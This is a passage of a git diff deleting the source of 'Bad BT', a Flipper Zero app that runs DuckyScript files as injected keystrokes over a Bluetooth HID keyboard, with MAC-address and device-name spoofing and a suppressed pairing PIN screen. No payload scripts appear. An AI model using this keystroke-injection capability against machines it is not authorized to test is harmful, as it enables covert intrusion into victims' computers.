bad_kb_config_refresh_menu(app); - return 0; -} - -void bad_bt_config_switch_remember_mode(BadBtApp* app) { - if(app->bt_remember) { - furi_hal_bt_set_profile_pairing_method( - FuriHalBtProfileHidKeyboard, GapPairingPinCodeVerifyYesNo); - bt_set_profile_mac_address(app->bt, (uint8_t*)&BAD_BT_BOUND_MAC_ADDRESS); - bt_enable_peer_key_update(app->bt); - } else { - furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, GapPairingNone); - bt_set_profile_mac_address(app->bt, app->config.bt_mac); - bt_disable_peer_key_update(app->bt); - } - bad_bt_reload_worker(app); -} - -int32_t bad_bt_connection_init(BadBtApp* app) { - // Set original name and mac address in prev config - strcpy( - app->prev_config.bt_name, furi_hal_bt_get_profile_adv_name(FuriHalBtProfileHidKeyboard)); - - memcpy(app->prev_config.bt_mac, furi_hal_version_get_ble_mac(), BAD_BT_MAC_ADDRESS_LEN); - - bt_timeout = bt_hid_delays[LevelRssi39_0]; - bt_disconnect(app->bt); - // Wait 2nd core to update nvm storage - furi_delay_ms(200); - bt_keys_storage_set_storage_path(app->bt, BAD_BT_APP_PATH_BOUND_KEYS_FILE); - if(strcmp(app->config.bt_name, "") != 0) { - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, app->config.bt_name); - } - if(app->bt_remember) { - furi_hal_bt_set_profile_mac_addr( - FuriHalBtProfileHidKeyboard, (uint8_t*)&BAD_BT_BOUND_MAC_ADDRESS); - furi_hal_bt_set_profile_pairing_method( - FuriHalBtProfileHidKeyboard, GapPairingPinCodeVerifyYesNo); - } else { - if(memcmp( - app->config.bt_mac, (uint8_t*)&BAD_BT_EMPTY_MAC_ADDRESS, BAD_BT_MAC_ADDRESS_LEN) != - 0) { - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, app->config.bt_mac); - } - furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, GapPairingNone); - } - bt_set_profile(app->bt, BtProfileHidKeyboard); - if(strcmp(app->config.bt_name, "") == 0) { - strcpy(app->config.bt_name, furi_hal_bt_get_profile_adv_name(FuriHalBtProfileHidKeyboard)); - } - if(memcmp(app->config.bt_mac, (uint8_t*)&BAD_BT_EMPTY_MAC_ADDRESS, BAD_BT_MAC_ADDRESS_LEN) == - 0) { - memcpy( - app->config.bt_mac, - furi_hal_bt_get_profile_mac_addr(FuriHalBtProfileHidKeyboard), - BAD_BT_MAC_ADDRESS_LEN); - } - - furi_hal_bt_start_advertising(); - if(app->bt_remember) { - bt_enable_peer_key_update(app->bt); - } else { - bt_disable_peer_key_update(app->bt); - } - - return 0; -} - -void bad_bt_connection_deinit(BadBtApp* app) { - bt_disconnect(app->bt); - // Wait 2nd core to update nvm storage - furi_delay_ms(200); - bt_keys_storage_set_default_path(app->bt); - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, app->prev_config.bt_name); - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, app->prev_config.bt_mac); - furi_hal_bt_set_profile_pairing_method( - FuriHalBtProfileHidKeyboard, GapPairingPinCodeVerifyYesNo); - bt_set_profile(app->bt, BtProfileSerial); - bt_enable_peer_key_update(app->bt); -} - -BadBtApp* bad_bt_app_alloc(char* arg) { - BadBtApp* app = malloc(sizeof(BadBtApp)); - - app->bad_bt_script = NULL; - - app->file_path = furi_string_alloc(); - app->keyboard_layout = furi_string_alloc(); - if(arg && strlen(arg)) { - furi_string_set(app->file_path, arg); - } - - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_simply_mkdir(storage, BAD_BT_APP_BASE_CONFIG_FOLDER); - furi_record_close(RECORD_STORAGE); - - bad_bt_load_settings(app); - - app->gui = furi_record_open(RECORD_GUI); - app->notifications = furi_record_open(RECORD_NOTIFICATION); - app->dialogs = furi_record_open(RECORD_DIALOGS); - - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&bad_bt_scene_handlers, app); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, bad_bt_app_tick_event_callback, 500); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, bad_bt_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, bad_bt_app_back_event_callback); - - Bt* bt = furi_record_open(RECORD_BT); - app->bt = bt; - app->bt->suppress_pin_screen = true; - - // Custom Widget - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, BadBtAppViewError, widget_get_view(app->widget)); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, BadBtAppViewConfig, variable_item_list_get_view(app->var_item_list)); - - app->bad_bt_view = bad_bt_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, BadBtAppViewWork, bad_bt_get_view(app->bad_bt_view)); - - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, BadBtAppViewConfigName, text_input_get_view(app->text_input)); - - app->byte_input = byte_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, BadBtAppViewConfigMac, byte_input_get_view(app->byte_input)); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->conn_init_thread = furi_thread_alloc_ex( - "BadBtConnInit", 1024, (FuriThreadCallback)bad_bt_connection_init, app); - furi_thread_start(app->conn_init_thread); - if(!furi_string_empty(app->file_path)) { - app->bad_bt_script = bad_bt_script_open(app->file_path, app->bt, app); - bad_bt_script_set_keyboard_layout(app->bad_bt_script, app->keyboard_layout); - scene_manager_next_scene(app->scene_manager, BadBtSceneWork); - } else { - furi_string_set(app->file_path, BAD_BT_APP_BASE_FOLDER); - scene_manager_next_scene(app->scene_manager, BadBtSceneFileSelect); - } - - return app; -} - -void bad_bt_app_free(BadBtApp* app) { - furi_assert(app); - - if(app->bad_bt_script) { - bad_bt_script_close(app->bad_bt_script); - app->bad_bt_script = NULL; - } - - // Views - view_dispatcher_remove_view(app->view_dispatcher, BadBtAppViewWork); - bad_bt_free(app->bad_bt_view); - - // Custom Widget - view_dispatcher_remove_view(app->view_dispatcher, BadBtAppViewError); - widget_free(app->widget); - - // Variable item list - view_dispatcher_remove_view(app->view_dispatcher, BadBtAppViewConfig); - variable_item_list_free(app->var_item_list); - - // Text Input - view_dispatcher_remove_view(app->view_dispatcher, BadBtAppViewConfigName); - text_input_free(app->text_input); - - // Byte Input - view_dispatcher_remove_view(app->view_dispatcher, BadBtAppViewConfigMac); - byte_input_free(app->byte_input); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Restore bt config - app->bt->suppress_pin_screen = false; - if(app->conn_init_thread) { - furi_thread_join(app->conn_init_thread); - furi_thread_free(app->conn_init_thread); - bad_bt_connection_deinit(app); - } - - // Close records - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_DIALOGS); - furi_record_close(RECORD_BT); - - bad_bt_save_settings(app); - - furi_string_free(app->file_path); - furi_string_free(app->keyboard_layout); - - free(app); -} - -int32_t bad_bt_app(void* p) { - BadBtApp* bad_bt_app = bad_bt_app_alloc((char*)p); - - view_dispatcher_run(bad_bt_app->view_dispatcher); - - bad_bt_app_free(bad_bt_app); - return 0; -} diff --git a/applications/external/bad_bt/bad_bt_app.h b/applications/external/bad_bt/bad_bt_app.h deleted file mode 100644 index 13b0844b0..000000000 --- a/applications/external/bad_bt/bad_bt_app.h +++ /dev/null @@ -1,39 +0,0 @@ -#pragma once - -#include "scenes/bad_bt_scene.h" -#include "helpers/ducky_script.h" - -#include -#include -#include -#include -#include -#include "bad_bt_icons.h" - -#define BAD_BT_APP_BASE_FOLDER EXT_PATH("badusb") -#define BAD_BT_APP_BASE_CONFIG_FOLDER EXT_PATH("badbt") -#define BAD_BT_APP_PATH_LAYOUT_FOLDER BAD_BT_APP_BASE_FOLDER "/assets/layouts" -#define BAD_BT_APP_SCRIPT_EXTENSION ".txt" -#define BAD_BT_APP_LAYOUT_EXTENSION ".kl" - -typedef enum BadBtCustomEvent { - BadBtAppCustomEventTextEditResult, - BadBtAppCustomEventByteInputDone, - BadBtCustomEventErrorBack -} BadBtCustomEvent; - -typedef enum { - BadBtAppViewError, - BadBtAppViewWork, - BadBtAppViewConfig, - BadBtAppViewConfigMac, - BadBtAppViewConfigName -} BadBtAppView; - -void bad_bt_config_switch_remember_mode(BadBtApp* app); - -int32_t bad_bt_connection_init(BadBtApp* app); - -void bad_bt_connection_deinit(BadBtApp* app); - -void bad_kb_config_refresh_menu(BadBtApp* app); \ No newline at end of file diff --git a/applications/external/bad_bt/helpers/ducky_script.c b/applications/external/bad_bt/helpers/ducky_script.c deleted file mode 100644 index bef965d1e..000000000 --- a/applications/external/bad_bt/helpers/ducky_script.c +++ /dev/null @@ -1,792 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include "ducky_script.h" -#include "ducky_script_i.h" -#include -#include -#include "../bad_bt_app.h" - -const uint8_t BAD_BT_BOUND_MAC_ADDRESS[BAD_BT_MAC_ADDRESS_LEN] = - {0x41, 0x4a, 0xef, 0xb6, 0xa9, 0xd4}; -const uint8_t BAD_BT_EMPTY_MAC_ADDRESS[BAD_BT_MAC_ADDRESS_LEN] = - {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - -#define TAG "BadBT" -#define WORKER_TAG TAG "Worker" - -#define BADBT_ASCII_TO_KEY(script, x) \ - (((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE) - -/** - * Delays for waiting between HID key press and key release -*/ -const uint8_t bt_hid_delays[LevelRssiNum] = { - 60, // LevelRssi122_100 - 55, // LevelRssi99_80 - 50, // LevelRssi79_60 - 47, // LevelRssi59_40 - 34, // LevelRssi39_0 -}; - -uint8_t bt_timeout = 0; - -static LevelRssiRange bt_remote_rssi_range(Bt* bt) { - uint8_t rssi; - - if(!bt_remote_rssi(bt, &rssi)) return LevelRssiError; - - if(rssi <= 39) - return LevelRssi39_0; - else if(rssi <= 59) - return LevelRssi59_40; - else if(rssi <= 79) - return LevelRssi79_60; - else if(rssi <= 99) - return LevelRssi99_80; - else if(rssi <= 122) - return LevelRssi122_100; - - return LevelRssiError; -} - -static inline void update_bt_timeout(Bt* bt) { - LevelRssiRange r = bt_remote_rssi_range(bt); - if(r < LevelRssiNum) { - bt_timeout = bt_hid_delays[r]; - FURI_LOG_D(WORKER_TAG, "BLE Key timeout : %u", bt_timeout); - } -} - -typedef enum { - WorkerEvtStartStop = (1 << 0), - WorkerEvtPauseResume = (1 << 1), - WorkerEvtEnd = (1 << 2), - WorkerEvtConnect = (1 << 3), - WorkerEvtDisconnect = (1 << 4), -} WorkerEvtFlags; - -static const char ducky_cmd_id[] = {"ID"}; -static const char ducky_cmd_bt_id[] = {"BT_ID"}; - -static const uint8_t numpad_keys[10] = { - HID_KEYPAD_0, - HID_KEYPAD_1, - HID_KEYPAD_2, - HID_KEYPAD_3, - HID_KEYPAD_4, - HID_KEYPAD_5, - HID_KEYPAD_6, - HID_KEYPAD_7, - HID_KEYPAD_8, - HID_KEYPAD_9, -}; - -uint32_t ducky_get_command_len(const char* line) { - uint32_t len = strlen(line); - for(uint32_t i = 0; i < len; i++) { - if(line[i] == ' ') return i; - } - return 0; -} - -bool ducky_is_line_end(const char chr) { - return ((chr == ' ') || (chr == '\0') || (chr == '\r') || (chr == '\n')); -} - -uint16_t ducky_get_keycode(BadBtScript* bad_bt, const char* param, bool accept_chars) { - uint16_t keycode = ducky_get_keycode_by_name(param); - if(keycode != HID_KEYBOARD_NONE) { - return keycode; - } - - if((accept_chars) && (strlen(param) > 0)) { - return (BADBT_ASCII_TO_KEY(bad_bt, param[0]) & 0xFF); - } - return 0; -} - -bool ducky_get_number(const char* param, uint32_t* val) { - uint32_t value = 0; - if(sscanf(param, "%lu", &value) == 1) { - *val = value; - return true; - } - return false; -} - -void ducky_numlock_on(BadBtScript* bad_bt) { - UNUSED(bad_bt); - if((furi_hal_bt_hid_get_led_state() & HID_KB_LED_NUM) == 0) { - furi_hal_bt_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK); - } -} - -bool ducky_numpad_press(BadBtScript* bad_bt, const char num) { - UNUSED(bad_bt); - if((num < '0') || (num > '9')) return false; - - uint16_t key = numpad_keys[num - '0']; - furi_hal_bt_hid_kb_press(key); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(key); - - return true; -} - -bool ducky_altchar(BadBtScript* bad_bt, const char* charcode) { - uint8_t i = 0; - bool state = false; - - furi_hal_bt_hid_kb_press(KEY_MOD_LEFT_ALT); - - while(!ducky_is_line_end(charcode[i])) { - state = ducky_numpad_press(bad_bt, charcode[i]); - if(state == false) break; - i++; - } - - furi_hal_bt_hid_kb_release(KEY_MOD_LEFT_ALT); - - return state; -} - -bool ducky_altstring(BadBtScript* bad_bt, const char* param) { - uint32_t i = 0; - bool state = false; - - while(param[i] != '\0') { - if((param[i] < ' ') || (param[i] > '~')) { - i++; - continue; // Skip non-printable chars - } - - char temp_str[4]; - snprintf(temp_str, 4, "%u", param[i]); - - state = ducky_altchar(bad_bt, temp_str); - if(state == false) break; - i++; - } - return state; -} - -int32_t ducky_error(BadBtScript* bad_bt, const char* text, ...) { - va_list args; - va_start(args, text); - - vsnprintf(bad_bt->st.error, sizeof(bad_bt->st.error), text, args); - - va_end(args); - return SCRIPT_STATE_ERROR; -} - -bool ducky_string(BadBtScript* bad_bt, const char* param) { - uint32_t i = 0; - - while(param[i] != '\0') { - if(param[i] != '\n') { - uint16_t keycode = BADBT_ASCII_TO_KEY(bad_bt, param[i]); - if(keycode != HID_KEYBOARD_NONE) { - furi_hal_bt_hid_kb_press(keycode); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(keycode); - } - } else { - furi_hal_bt_hid_kb_press(HID_KEYBOARD_RETURN); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(HID_KEYBOARD_RETURN); - } - i++; - } - bad_bt->stringdelay = 0; - return true; -} - -static bool ducky_string_next(BadBtScript* bad_bt) { - if(bad_bt->string_print_pos >= furi_string_size(bad_bt->string_print)) { - return true; - } - - char print_char = furi_string_get_char(bad_bt->string_print, bad_bt->string_print_pos); - - if(print_char != '\n') { - uint16_t keycode = BADBT_ASCII_TO_KEY(bad_bt, print_char); - if(keycode != HID_KEYBOARD_NONE) { - furi_hal_bt_hid_kb_press(keycode); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(keycode); - } - } else { - furi_hal_bt_hid_kb_press(HID_KEYBOARD_RETURN); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(HID_KEYBOARD_RETURN); - } - - bad_bt->string_print_pos++; - - return false; -} - -static int32_t ducky_parse_line(BadBtScript* bad_bt, FuriString* line) { - uint32_t line_len = furi_string_size(line); - const char* line_tmp = furi_string_get_cstr(line); - - if(line_len == 0) { - return SCRIPT_STATE_NEXT_LINE; // Skip empty lines - } - FURI_LOG_D(WORKER_TAG, "line:%s", line_tmp); - - // Ducky Lang Functions - int32_t cmd_result = ducky_execute_cmd(bad_bt, line_tmp); - if(cmd_result != SCRIPT_STATE_CMD_UNKNOWN) { - return cmd_result; - } - - // Special keys + modifiers - uint16_t key = ducky_get_keycode(bad_bt, line_tmp, false); - if(key == HID_KEYBOARD_NONE) { - return ducky_error(bad_bt, "No keycode defined for %s", line_tmp); - } - if((key & 0xFF00) != 0) { - // It's a modifier key - uint32_t offset = ducky_get_command_len(line_tmp) + 1; - // ducky_get_command_len() returns 0 without space, so check for != 1 - if(offset != 1 && line_len > offset) { - // It's also a key combination - key |= ducky_get_keycode(bad_bt, line_tmp + offset, true); - } - } - furi_hal_bt_hid_kb_press(key); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(key); - - return 0; -} - -static bool ducky_set_bt_id(BadBtScript* bad_bt, const char* line) { - size_t line_len = strlen(line); - size_t mac_len = BAD_BT_MAC_ADDRESS_LEN * 3; - if(line_len < mac_len + 1) return false; // MAC + at least 1 char for name - - uint8_t mac[BAD_BT_MAC_ADDRESS_LEN]; - for(size_t i = 0; i < BAD_BT_MAC_ADDRESS_LEN; i++) { - char a = line[i * 3]; - char b = line[i * 3 + 1]; - if((a < 'A' && a > 'F') || (a < '0' && a > '9') || (b < 'A' && b > 'F') || - (b < '0' && b > '9') || !hex_char_to_uint8(a, b, &mac[i])) { - return false; - } - } - furi_hal_bt_reverse_mac_addr(mac); - - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, line + mac_len); - bt_set_profile_mac_address(bad_bt->bt, mac); - return true; -} - -static bool ducky_script_preload(BadBtScript* bad_bt, File* script_file) { - uint8_t ret = 0; - uint32_t line_len = 0; - - furi_string_reset(bad_bt->line); - - do { - ret = storage_file_read(script_file, bad_bt->file_buf, FILE_BUFFER_LEN); - for(uint16_t i = 0; i < ret; i++) { - if(bad_bt->file_buf[i] == '\n' && line_len > 0) { - bad_bt->st.line_nb++; - line_len = 0; - } else { - if(bad_bt->st.line_nb == 0) { // Save first line - furi_string_push_back(bad_bt->line, bad_bt->file_buf[i]); - } - line_len++; - } - } - if(storage_file_eof(script_file)) { - if(line_len > 0) { - bad_bt->st.line_nb++; - break; - } - } - } while(ret > 0); - - const char* line_tmp = furi_string_get_cstr(bad_bt->line); - if(bad_bt->app->switch_mode_thread) { - furi_thread_join(bad_bt->app->switch_mode_thread); - furi_thread_free(bad_bt->app->switch_mode_thread); - bad_bt->app->switch_mode_thread = NULL; - } - // Looking for ID or BT_ID command at first line - bad_bt->set_usb_id = false; - bad_bt->set_bt_id = false; - bad_bt->has_usb_id = strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0; - // TODO: We setting has_usb_id to its value but ignoring it for now and not using anywhere here, may be used in a future to detect script type - bad_bt->has_bt_id = strncmp(line_tmp, ducky_cmd_bt_id, strlen(ducky_cmd_bt_id)) == 0; - if(bad_bt->has_bt_id) { - if(!bad_bt->app->bt_remember) { - bad_bt->set_bt_id = ducky_set_bt_id(bad_bt, &line_tmp[strlen(ducky_cmd_bt_id) + 1]); - } - } - - bad_kb_config_refresh_menu(bad_bt->app); - - if(!bad_bt->set_bt_id) { - const char* bt_name = bad_bt->app->config.bt_name; - const uint8_t* bt_mac = bad_bt->app->bt_remember ? (uint8_t*)&BAD_BT_BOUND_MAC_ADDRESS : - bad_bt->app->config.bt_mac; - bool reset_name = strncmp( - bt_name, - furi_hal_bt_get_profile_adv_name(FuriHalBtProfileHidKeyboard), - BAD_BT_ADV_NAME_MAX_LEN); - bool reset_mac = memcmp( - bt_mac, - furi_hal_bt_get_profile_mac_addr(FuriHalBtProfileHidKeyboard), - BAD_BT_MAC_ADDRESS_LEN); - if(reset_name && reset_mac) { - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, bt_name); - } else if(reset_name) { - bt_set_profile_adv_name(bad_bt->bt, bt_name); - } - if(reset_mac) { - bt_set_profile_mac_address(bad_bt->bt, bt_mac); - } - } - - storage_file_seek(script_file, 0, true); - furi_string_reset(bad_bt->line); - - return true; -} - -static int32_t ducky_script_execute_next(BadBtScript* bad_bt, File* script_file) { - int32_t delay_val = 0; - - if(bad_bt->repeat_cnt > 0) { - bad_bt->repeat_cnt--; - delay_val = ducky_parse_line(bad_bt, bad_bt->line_prev); - if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line - return 0; - } else if(delay_val == SCRIPT_STATE_STRING_START) { // Print string with delays - return delay_val; - } else if(delay_val == SCRIPT_STATE_WAIT_FOR_BTN) { // wait for button - return delay_val; - } else if(delay_val < 0) { // Script error - bad_bt->st.error_line = bad_bt->st.line_cur - 1; - FURI_LOG_E(WORKER_TAG, "Unknown command at line %u", bad_bt->st.line_cur - 1U); - return SCRIPT_STATE_ERROR; - } else { - return (delay_val + bad_bt->defdelay); - } - } - - furi_string_set(bad_bt->line_prev, bad_bt->line); - furi_string_reset(bad_bt->line); - - while(1) { - if(bad_bt->buf_len == 0) { - bad_bt->buf_len = storage_file_read(script_file, bad_bt->file_buf, FILE_BUFFER_LEN); - if(storage_file_eof(script_file)) { - if((bad_bt->buf_len < FILE_BUFFER_LEN) && (bad_bt->file_end == false)) { - bad_bt->file_buf[bad_bt->buf_len] = '\n'; - bad_bt->buf_len++; - bad_bt->file_end = true; - } - } - - bad_bt->buf_start = 0; - if(bad_bt->buf_len == 0) return SCRIPT_STATE_END; - } - for(uint8_t i = bad_bt->buf_start; i < (bad_bt->buf_start + bad_bt->buf_len); i++) { - if(bad_bt->file_buf[i] == '\n' && furi_string_size(bad_bt->line) > 0) { - bad_bt->st.line_cur++; - bad_bt->buf_len = bad_bt->buf_len + bad_bt->buf_start - (i + 1); - bad_bt->buf_start = i + 1; - furi_string_trim(bad_bt->line); - delay_val = ducky_parse_line(bad_bt, bad_bt->line); - if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line - return 0; - } else if(delay_val == SCRIPT_STATE_STRING_START) { // Print string with delays - return delay_val; - } else if(delay_val == SCRIPT_STATE_WAIT_FOR_BTN) { // wait for button - return delay_val; - } else if(delay_val < 0) { - bad_bt->st.error_line = bad_bt->st.line_cur; - FURI_LOG_E(WORKER_TAG, "Unknown command at line %u", bad_bt->st.line_cur); - return SCRIPT_STATE_ERROR; - } else { - return (delay_val + bad_bt->defdelay); - } - } else { - furi_string_push_back(bad_bt->line, bad_bt->file_buf[i]); - } - } - bad_bt->buf_len = 0; - if(bad_bt->file_end) return SCRIPT_STATE_END; - } - - return 0; -} - -static void bad_bt_bt_hid_state_callback(BtStatus status, void* context) { - furi_assert(context); - BadBtScript* bad_bt = context; - bool state = (status == BtStatusConnected); - - if(state == true) { - LevelRssiRange r = bt_remote_rssi_range(bad_bt->bt); - if(r != LevelRssiError) { - bt_timeout = bt_hid_delays[r]; - } - furi_thread_flags_set(furi_thread_get_id(bad_bt->thread), WorkerEvtConnect); - } else { - furi_thread_flags_set(furi_thread_get_id(bad_bt->thread), WorkerEvtDisconnect); - } -} - -static uint32_t bad_bt_flags_get(uint32_t flags_mask, uint32_t timeout) { - uint32_t flags = furi_thread_flags_get(); - furi_check((flags & FuriFlagError) == 0); - if(flags == 0) { - flags = furi_thread_flags_wait(flags_mask, FuriFlagWaitAny, timeout); - furi_check(((flags & FuriFlagError) == 0) || (flags == (unsigned)FuriFlagErrorTimeout)); - } else { - uint32_t state = furi_thread_flags_clear(flags); - furi_check((state & FuriFlagError) == 0); - } - return flags; -} - -static int32_t bad_bt_worker(void* context) { - BadBtScript* bad_bt = context; - - BadBtWorkerState worker_state = BadBtStateInit; - int32_t delay_val = 0; - - FURI_LOG_I(WORKER_TAG, "Init"); - File* script_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); - bad_bt->line = furi_string_alloc(); - bad_bt->line_prev = furi_string_alloc(); - bad_bt->string_print = furi_string_alloc(); - - bt_set_status_changed_callback(bad_bt->bt, bad_bt_bt_hid_state_callback, bad_bt); - - while(1) { - if(worker_state == BadBtStateInit) { // State: initialization - if(storage_file_open( - script_file, - furi_string_get_cstr(bad_bt->file_path), - FSAM_READ, - FSOM_OPEN_EXISTING)) { - if((ducky_script_preload(bad_bt, script_file)) && (bad_bt->st.line_nb > 0)) { - if(furi_hal_bt_is_connected()) { - worker_state = BadBtStateIdle; // Ready to run - } else { - worker_state = BadBtStateNotConnected; // Not connected - } - - } else { - worker_state = BadBtStateScriptError; // Script preload error - } - } else { - FURI_LOG_E(WORKER_TAG, "File open error"); - worker_state = BadBtStateFileError; // File open error - } - bad_bt->st.state = worker_state; - - } else if(worker_state == BadBtStateNotConnected) { // State: Not connected - uint32_t flags = bad_bt_flags_get( - WorkerEvtEnd | WorkerEvtConnect | WorkerEvtDisconnect | WorkerEvtStartStop, - FuriWaitForever); - - if(flags & WorkerEvtEnd) { - break; - } else if(flags & WorkerEvtConnect) { - worker_state = BadBtStateIdle; // Ready to run - } else if(flags & WorkerEvtStartStop) { - worker_state = BadBtStateWillRun; // Will run when connected - } - bad_bt->st.state = worker_state; - - } else if(worker_state == BadBtStateIdle) { // State: ready to start - uint32_t flags = bad_bt_flags_get( - WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtConnect | WorkerEvtDisconnect, - FuriWaitForever); - - if(flags & WorkerEvtEnd) { - break; - } else if(flags & WorkerEvtStartStop) { // Start executing script - delay_val = 0; - bad_bt->buf_len = 0; - bad_bt->st.line_cur = 0; - bad_bt->defdelay = 0; - bad_bt->stringdelay = 0; - bad_bt->repeat_cnt = 0; - bad_bt->key_hold_nb = 0; - bad_bt->file_end = false; - storage_file_seek(script_file, 0, true); - bad_bt_script_set_keyboard_layout(bad_bt, bad_bt->keyboard_layout); - worker_state = BadBtStateRunning; - } else if(flags & WorkerEvtDisconnect) { - worker_state = BadBtStateNotConnected; // Disconnected - } - bad_bt->st.state = worker_state; - - } else if(worker_state == BadBtStateWillRun) { // State: start on connection - uint32_t flags = bad_bt_flags_get( - WorkerEvtEnd | WorkerEvtConnect | WorkerEvtDisconnect | WorkerEvtStartStop, - FuriWaitForever); - - if(flags & WorkerEvtEnd) { - break; - } else if(flags & WorkerEvtConnect) { // Start executing script - delay_val = 0; - bad_bt->buf_len = 0; - bad_bt->st.line_cur = 0; - bad_bt->defdelay = 0; - bad_bt->stringdelay = 0; - bad_bt->repeat_cnt = 0; - bad_bt->file_end = false; - storage_file_seek(script_file, 0, true); - // extra time for PC to recognize Flipper as keyboard - flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtDisconnect | WorkerEvtStartStop, - FuriFlagWaitAny | FuriFlagNoClear, - 1500); - if(flags == (unsigned)FuriFlagErrorTimeout) { - // If nothing happened - start script execution - worker_state = BadBtStateRunning; - } else if(flags & WorkerEvtStartStop) { - worker_state = BadBtStateIdle; - furi_thread_flags_clear(WorkerEvtStartStop); - } - - update_bt_timeout(bad_bt->bt); - - bad_bt_script_set_keyboard_layout(bad_bt, bad_bt->keyboard_layout); - } else if(flags & WorkerEvtStartStop) { // Cancel scheduled execution - worker_state = BadBtStateNotConnected; - } - bad_bt->st.state = worker_state; - - } else if(worker_state == BadBtStateRunning) { // State: running - uint16_t delay_cur = (delay_val > 1000) ? (1000) : (delay_val); - uint32_t flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtConnect | WorkerEvtDisconnect, - FuriFlagWaitAny, - delay_cur); - - delay_val -= delay_cur; - if(!(flags & FuriFlagError)) { - if(flags & WorkerEvtEnd) { - break; - } else if(flags & WorkerEvtStartStop) { - worker_state = BadBtStateIdle; // Stop executing script - - furi_hal_bt_hid_kb_release_all(); - - } else if(flags & WorkerEvtDisconnect) { - worker_state = BadBtStateNotConnected; // Disconnected - - furi_hal_bt_hid_kb_release_all(); - } - bad_bt->st.state = worker_state; - continue; - } else if( - (flags == (unsigned)FuriFlagErrorTimeout) || - (flags == (unsigned)FuriFlagErrorResource)) { - if(delay_val > 0) { - bad_bt->st.delay_remain--; - continue; - } - bad_bt->st.state = BadBtStateRunning; - delay_val = ducky_script_execute_next(bad_bt, script_file); - if(delay_val == SCRIPT_STATE_ERROR) { // Script error - delay_val = 0; - worker_state = BadBtStateScriptError; - bad_bt->st.state = worker_state; - - furi_hal_bt_hid_kb_release_all(); - - } else if(delay_val == SCRIPT_STATE_END) { // End of script - delay_val = 0; - worker_state = BadBtStateIdle; - bad_bt->st.state = BadBtStateDone; - - furi_hal_bt_hid_kb_release_all(); - - continue; - } else if(delay_val == SCRIPT_STATE_STRING_START) { // Start printing string with delays - delay_val = bad_bt->defdelay; - bad_bt->string_print_pos = 0; - worker_state = BadBtStateStringDelay; - } else if(delay_val == SCRIPT_STATE_WAIT_FOR_BTN) { // set state to wait for user input - worker_state = BadBtStateWaitForBtn; - bad_bt->st.state = BadBtStateWaitForBtn; // Show long delays - } else if(delay_val > 1000) { - bad_bt->st.state = BadBtStateDelay; // Show long delays - bad_bt->st.delay_remain = delay_val / 1000; - } - } else { - furi_check((flags & FuriFlagError) == 0); - } - } else if(worker_state == BadBtStateWaitForBtn) { // State: Wait for button Press - uint16_t delay_cur = (delay_val > 1000) ? (1000) : (delay_val); - uint32_t flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtPauseResume | WorkerEvtConnect | - WorkerEvtDisconnect, - FuriFlagWaitAny, - delay_cur); - if(!(flags & FuriFlagError)) { - if(flags & WorkerEvtEnd) { - break; - } else if(flags & WorkerEvtStartStop) { - delay_val = 0; - worker_state = BadBtStateRunning; - } else if(flags & WorkerEvtDisconnect) { - worker_state = BadBtStateNotConnected; // Disconnected - furi_hal_hid_kb_release_all(); - } - bad_bt->st.state = worker_state; - continue; - } - } else if(worker_state == BadBtStateStringDelay) { // State: print string with delays - uint32_t flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtPauseResume | WorkerEvtConnect | - WorkerEvtDisconnect, - FuriFlagWaitAny, - bad_bt->stringdelay); - - if(!(flags & FuriFlagError)) { - if(flags & WorkerEvtEnd) { - break; - } else if(flags & WorkerEvtStartStop) { - worker_state = BadBtStateIdle; // Stop executing script - - furi_hal_bt_hid_kb_release_all(); - - } else if(flags & WorkerEvtDisconnect) { - worker_state = BadBtStateNotConnected; // Disconnected - - furi_hal_bt_hid_kb_release_all(); - } - bad_bt->st.state = worker_state; - 